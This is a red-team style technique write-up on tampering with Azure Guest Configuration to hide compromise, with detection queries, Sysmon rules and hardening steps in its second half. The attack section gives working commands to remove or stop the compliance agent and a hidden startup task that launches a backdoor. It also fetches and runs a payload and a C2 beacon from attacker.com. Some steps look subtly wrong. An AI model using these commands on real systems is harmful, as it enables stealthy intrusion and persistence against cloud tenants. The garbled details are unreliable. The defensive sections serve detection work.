| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-018 |
| MITRE ATT&CK v18.1 | T1562 - Impair Defenses |
| Tactic | Defense Evasion |
| Platforms | Entra ID |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Azure VMs (all regions); Windows Server 2016-2025; Linux distributions (Ubuntu, CentOS, RHEL) |
| Patched In | Requires configuration hardening; no singular patch |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Guest Configuration is a service that enforces desired state compliance on Azure VMs through automated configuration management. Attackers with VM-level access or Contributor permissions can tamper with Guest Configuration policies, disable compliance checks, remove detection agents, and modify system configurations without triggering Azure Policy audits. This attack chain bypasses centralized Azure governance controls and enables defenders to erase evidence of unauthorized changes across guest operating systems.
Attack Surface: Azure Policy guest configuration assignments, guest configuration agents on VMs, Azure Automation runbooks, and local machine policy override capabilities.
Business Impact: Persistent evasion of security compliance controls. Attackers can disable antimalware scanning, modify firewall rules, install backdoors, and maintain persistence while appearing compliant in Azure Policy dashboards. Regulatory audits may pass despite active compromise.
Technical Context: Attack execution takes 2-5 minutes with proper permissions; extremely difficult to detect if resource lock auditing is not enabled. Guest Configuration sends compliance reports to Azure Policy only once per hour, creating a large detection window.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1.1 | Ensure that Virtual Machines use managed disks and Azure Policy enforcement |
| DISA STIG | AZ-1-1 | Azure resources must be monitored via Azure Policy and guest configuration |
| CISA SCuBA | SC-7 | Boundary Protection - Azure Policy must enforce VM compliance |
| NIST 800-53 | SI-7 (System Monitoring) | Integrity monitoring and configuration management |
| GDPR | Art. 32 | Security of Processing - Configuration and vulnerability management |
| DORA | Art. 9 | Protection Against Tampering of Configuration Controls |
| NIS2 | Art. 21 | Cyber Risk Management - Compliance and Audit Trail Integrity |
| ISO 27001 | A.12.2.1 | Change management and configuration control |
| ISO 27005 | Risk Scenario | Circumvention of Compliance Monitoring and Configuration Controls |
Required Privileges: Virtual Machine Contributor, Owner, or Custom Role with Microsoft.Compute/virtualMachines/write and Microsoft.GuestConfiguration/* permissions.
Required Access: Access to Azure Portal, Azure CLI, or compromised VM with local admin rights.
Supported Versions:
Tools:
# List all Azure VMs with Guest Configuration assignments
Get-AzVM | Get-AzGuestConfigurationAssignment | Select-Object Id, ResourceGroupName, VMName, Compliance
# Check current compliance status
Get-AzGuestConfigurationAssignment -ResourceGroupName "RG-Name" -VMName "VM-Name" | Select-Object ComplianceStatus
# List all guest configuration policies in subscription
Get-AzPolicyAssignment | Where-Object { $_.ResourceType -like "*guestConfiguration*" }
What to Look For:
# List all VMs with guest configuration
az vm list --query "[].{name:name, resourceGroup:resourceGroup}" -o table
# Check guest configuration compliance for specific VM
az resource show --resource-group "RG-Name" --name "VM-Name" --resource-type "Microsoft.Compute/virtualMachines" --query properties.instanceView.extensions
# List guest configuration policy assignments
az policy assignment list --query "[?contains(policyDefinitionId, 'guestConfiguration')]" -o json
Supported Versions: All Windows Server versions, Azure VMs worldwide
Objective: Locate the guest configuration policy assigned to the target VM.
Command:
# List all guest configuration assignments for a specific VM
$vm = Get-AzVM -ResourceGroupName "production-rg" -Name "web-server-01"
Get-AzGuestConfigurationAssignment -ResourceId $vm.Id | Select-Object Name, ComplianceStatus, LastStatusTransitionTime
Expected Output:
Name ComplianceStatus LastStatusTransitionTime
---- ---------------- -----------------------
windows-antimalware-enabled Compliant 2025-01-08 14:30:22Z
windows-firewall-enabled Compliant 2025-01-08 14:30:22Z
What This Means:
Objective: Disable the agent that enforces and reports compliance.
Command:
# Remove Guest Configuration extension
$vmName = "web-server-01"
$rgName = "production-rg"
# Get the VM
$vm = Get-AzVM -ResourceGroupName $rgName -Name $vmName
# Remove extension
Remove-AzVMExtension -ResourceGroupName $rgName -VMName $vmName -Name "AzurePolicyforWindows" -Force
# Verify removal
Get-AzVMExtension -ResourceGroupName $rgName -VMName $vmName | Select-Object Name, Type
Expected Output:
Name Type
---- ----
(No extensions listed after removal)
What This Means:
OpSec & Evasion:
Objective: Configure local VM settings to appear compliant while compromised.
Command (Windows):
# Disable Windows Defender (but make it appear enabled in Guest Config)
# First, create a script that simulates compliance
$script = @"
# Hidden backdoor while appearing compliant
Start-Process -FilePath "C:\malware\backdoor.exe" -WindowStyle Hidden
# But keep the policy compliant
Set-MpPreference -DisableRealtimeMonitoring `$false # Appears enabled
"@
# Save to scheduled task
$trigger = New-ScheduledTaskTrigger -AtStartup
$action = New-ScheduledTaskAction -Execute PowerShell -Argument "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command $script"
Register-ScheduledTask -TaskName "SystemMaintenance" -Trigger $trigger -Action $action -RunLevel Highest
OpSec & Evasion:
Supported Versions: All Azure subscriptions with API access
Objective: Get the current assignment configuration for modification.
Command:
# Using Azure CLI
az resource show \
--resource-group "production-rg" \
--name "web-server-01/Microsoft.GuestConfiguration/windows-antimalware-enabled" \
--resource-type "Microsoft.Compute/virtualMachines/providers/guestConfigurationAssignments" \
-o json > assignment.json
# View current configuration
cat assignment.json | jq .properties.guestConfiguration
Expected Output:
{
"name": "windows-antimalware-enabled",
"version": "1.0.0",
"configurationSetting": {
"actionAfterReboot": "ContinueConfiguration",
"allowModuleOverwrite": false,
"configurationMode": "ApplyAndMonitor"
}
}
Objective: Change the guest configuration to skip checks or report false compliance.
Command:
# Modify the assignment JSON to disable monitoring
jq '.properties.guestConfiguration.configurationSetting.allowModuleOverwrite = true' assignment.json > assignment-modified.json
jq '.properties.guestConfiguration.configurationSetting.configurationMode = "ApplyAndAutoCorrect"' assignment-modified.json > assignment-final.json
# Apply the modified assignment
az resource update \
--resource-group "production-rg" \
--name "web-server-01/Microsoft.GuestConfiguration/windows-antimalware-enabled" \
--resource-type "Microsoft.Compute/virtualMachines/providers/guestConfigurationAssignments" \
--set "properties=$(cat assignment-final.json | jq .properties)"
What This Means:
allowModuleOverwrite=true allows local modifications to override policyconfigurationMode=ApplyAndAutoCorrect automatically “fixes” compliance violationsOpSec & Evasion:
Supported Versions: Windows Server 2016-2025, Linux with systemd
Objective: Stop the local guest configuration agent without removing the Azure extension.
Command (Windows):
# RDP into VM or Azure Bastion
# Disable Guest Configuration service
Stop-Service -Name GuestConfigurationService -Force
Set-Service -Name GuestConfigurationService -StartupType Disabled
# Verify service is disabled
Get-Service -Name GuestConfigurationService | Select-Object Status, StartType
Expected Output:
Status StartType
------ ---------
Stopped Disabled
Command (Linux):
# SSH into VM
sudo systemctl stop waagent
sudo systemctl disable waagent
# Alternative: Remove guest config packages
sudo apt-get remove walinuxagent -y
Objective: Deploy malicious code while the Guest Configuration agent is offline.
Command:
# Download and execute malware
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
# Alternatively, deploy C2 agent
Invoke-WebRequest -Uri "http://attacker.com/beacon.exe" -OutFile "C:\Windows\Temp\svc.exe"
Start-Process "C:\Windows\Temp\svc.exe"
Objective: Restore the agent so Azure Portal shows the VM is monitored.
Command (Windows):
# Re-enable service
Set-Service -Name GuestConfigurationService -StartupType Automatic
Start-Service -Name GuestConfigurationService
# Check status
Get-Service GuestConfigurationService
OpSec & Evasion:
Version: 2.40+ with az-guestconfiguration extension Installation:
az extension add --name guestconfig
az guestconfig --version
Usage:
# List assignments
az guestconfig assignment list --resource-group "rg-name"
# Get specific assignment
az guestconfig assignment show --resource-group "rg-name" --vm-name "vm-name" --assignment-name "policy-name"
# Delete assignment (requires Contributor)
az guestconfig assignment delete --resource-group "rg-name" --vm-name "vm-name" --assignment-name "policy-name"
Version: 1.0+ (Az.GuestConfiguration module) Installation:
Install-Module Az.GuestConfiguration -Force
Import-Module Az.GuestConfiguration
Usage:
# Get assignments
Get-AzGuestConfigurationAssignment -ResourceGroupName "rg-name" -VMName "vm-name"
# Remove assignment
Remove-AzGuestConfigurationAssignment -ResourceId "/subscriptions/.../providers/Microsoft.GuestConfiguration/guestConfigurationAssignments/..."
# Update assignment properties
Update-AzGuestConfigurationAssignment -Name "policy-name" -ResourceGroupName "rg-name"
API Version: 2021-01-25 or later
Authentication:
# Get access token
$token = (Get-AzAccessToken -ResourceTypeName 'Arm').Token
# Use in REST API calls
curl -H "Authorization: Bearer $token" https://management.azure.com/subscriptions/{subscription}/...
Rule Configuration:
KQL Query:
AzureActivity
| where ResourceProvider == "Microsoft.GuestConfiguration"
| where OperationName in (
"Delete guest configuration assignment",
"Update guest configuration assignment",
"Disable guest configuration",
"MICROSOFT.GUESTCONFIGURATION/GUESTCONFIGURATIONASSIGNMENTS/DELETE",
"MICROSOFT.GUESTCONFIGURATION/GUESTCONFIGURATIONASSIGNMENTS/WRITE"
)
| where ActivityStatus == "Succeeded"
| project TimeGenerated, Caller, OperationName, Resource, ResourceGroup
| summarize count() by Caller, Resource
| where count_ > 1 // Multiple modifications = suspicious pattern
What This Detects:
Manual Configuration Steps (Azure Portal):
Guest Configuration Assignment Removed or ModifiedHigh5 minutes1 hourKQL Query:
AzureActivity
| where ResourceProvider == "Microsoft.Compute"
| where OperationName == "MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/WRITE"
| where Properties contains "GuestConfiguration" and Properties contains "disabled"
| project TimeGenerated, Caller, Resource, Properties
Event ID: 4688 (A new process has been created)
Manual Configuration Steps (Group Policy):
gpupdate /forceManual Local Configuration:
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
Event Log Search (PowerShell):
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4688]]" -MaxEvents 1000 | Where-Object {
$_.Message -match "guestconfig|waagent|GuestConfiguration" -and
$_.Message -match "stop|disable"
} | Select-Object TimeCreated, Message
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016-2025
<Sysmon schemaversion="4.31">
<EventFiltering>
<!-- Detect Guest Configuration service stop -->
<RuleGroup name="Guest-Config-Service-Tampering" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="contains">powershell</Image>
<CommandLine condition="contains">GuestConfigurationService</CommandLine>
<CommandLine condition="contains any">Stop-Service, Set-Service, Disable</CommandLine>
</ProcessCreate>
<ProcessCreate onmatch="include">
<Image condition="contains">sc.exe</Image>
<CommandLine condition="contains">GuestConfigurationService</CommandLine>
<CommandLine condition="contains any">stop, disabled</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Detect removal of Azure extensions -->
<RuleGroup name="Azure-Extension-Removal" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="contains">powershell</Image>
<CommandLine condition="contains">Remove-AzVMExtension</CommandLine>
</ProcessCreate>
</RuleGroup>
</EventFiltering>
</Sysmon>
Alert Name: “Guest Configuration extension disabled or removed”
Manual Configuration Steps (Enable Defender for Cloud):
Reference: Defender for Cloud - Guest Configuration Monitoring
1. Enforce Guest Configuration Resource Lock Applies To: All production VMs with guest configuration assignments
Manual Steps (Azure Portal):
GuestConfiguration-ReadOnlyManual Steps (PowerShell):
$resourceId = "/subscriptions/{subId}/resourceGroups/prod-rg/providers/Microsoft.Compute/virtualMachines/web-01"
New-AzManagementLock -LockName "GuestConfig-Lock" -LockLevel CanNotDelete -ResourceId $resourceId
Manual Steps (Azure CLI):
az lock create --name "guest-config-lock" --lock-type CanNotDelete \
--resource-group "prod-rg" --resource-name "web-01" \
--resource-type "Microsoft.Compute/virtualMachines"
2. Implement Conditional Access for VM Management Manual Steps:
Restrict VM Extension Management3. Enable Azure Activity Log Auditing for Guest Configuration Changes Manual Steps (PowerShell):
# Create diagnostic setting for Activity Log
New-AzDiagnosticSetting -Name "GuestConfig-Monitoring" `
-ResourceId "/subscriptions/{subId}" `
-EventHubAuthorizationRuleId "/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.EventHub/namespaces/{ns}/authorizationRules/RootManageSharedAccessKey" `
-LogsEnabled $true `
-Category "Administrative"
4. Configure Azure Policy to Enforce Guest Configuration Compliance Manual Steps:
5. Deploy Azure Monitor Alert for Guest Configuration Compliance Status Manual Steps:
VM Guest Configuration Non-CompliantRBAC: Restrict Guest Configuration Modification Manual Steps:
# Check that resource locks exist
Get-AzResourceLock -ResourceGroupName "prod-rg" | Select-Object Name, LockLevel
# Verify Guest Configuration assignments are active
Get-AzGuestConfigurationAssignment | Select-Object VMName, ComplianceStatus
# Expected Output: All VMs show "Compliant" and locks show "CanNotDelete"
Microsoft.GuestConfiguration/guestConfigurationAssignments/DELETE or /WRITEHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\GuestConfigurationService Start value = 4 (disabled)# Detach VM from network (via Azure Portal or CLI)
$vm = Get-AzVM -ResourceGroupName "prod-rg" -Name "web-01"
# Remove network interface (disconnect from network)
Remove-AzNetworkInterface -ResourceId $vm.NetworkProfile.NetworkInterfaces[0].Id -Force
Manual (Azure Portal):
# Export Azure Activity Log for forensics
Get-AzLog -ResourceGroup "prod-rg" -StartTime (Get-Date).AddHours(-24) | Export-Csv C:\Evidence\activitylog.csv
# Export Guest Configuration compliance history
Get-AzGuestConfigurationAssignment -ResourceGroupName "prod-rg" | Export-Csv C:\Evidence\guestconfig.csv
# Capture VM event logs
$vm = Get-AzVM -ResourceGroupName "prod-rg" -Name "web-01"
Invoke-AzVMRunCommand -ResourceGroupName "prod-rg" -VMName "web-01" -CommandId 'RunPowerShellScript' `
-ScriptPath "C:\Windows\System32\winevt\Logs\Security.evtx"
Manual:
# Re-enable Guest Configuration service
$vm = Get-AzVM -ResourceGroupName "prod-rg" -Name "web-01"
$vmName = $vm.Name
$rgName = $vm.ResourceGroupName
# Install Guest Configuration extension
Set-AzVMExtension -ResourceGroupName $rgName -VMName $vmName `
-Name "AzurePolicyforWindows" `
-Publisher "Microsoft.GuestConfiguration" `
-ExtensionType "ConfigurationforWindows" `
-TypeHandlerVersion "1.0"
# Re-enable local service
Invoke-AzVMRunCommand -ResourceGroupName $rgName -VMName $vmName `
-CommandId 'RunPowerShellScript' `
-ScriptString 'Set-Service -Name GuestConfigurationService -StartupType Automatic; Start-Service -Name GuestConfigurationService'
# Wait for compliance report (up to 1 hour)
Start-Sleep -Seconds 3600
Get-AzGuestConfigurationAssignment -ResourceId $vm.Id
Manual:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CLOUD-001] | Enumerate Azure VMs and their Guest Configuration assignments |
| 2 | Initial Access | [IA-EXPLOIT-001] | Compromise VM via Azure Portal application proxy or exposed endpoint |
| 3 | Privilege Escalation | [PE-VALID-010] | Escalate to VM Contributor or Owner role |
| 4 | Defense Evasion | [EVADE-IMPAIR-018] | Tamper with or disable Guest Configuration |
| 5 | Persistence | [PERSIST-SCHEDULED-TASK] | Install malware scheduled task while Guest Config is offline |
| 6 | Collection | [COLLECT-DATA-001] | Exfiltrate data from VM via Blob Storage |
| 7 | Impact | [IMPACT-RANSOM-001] | Deploy ransomware or destroy data |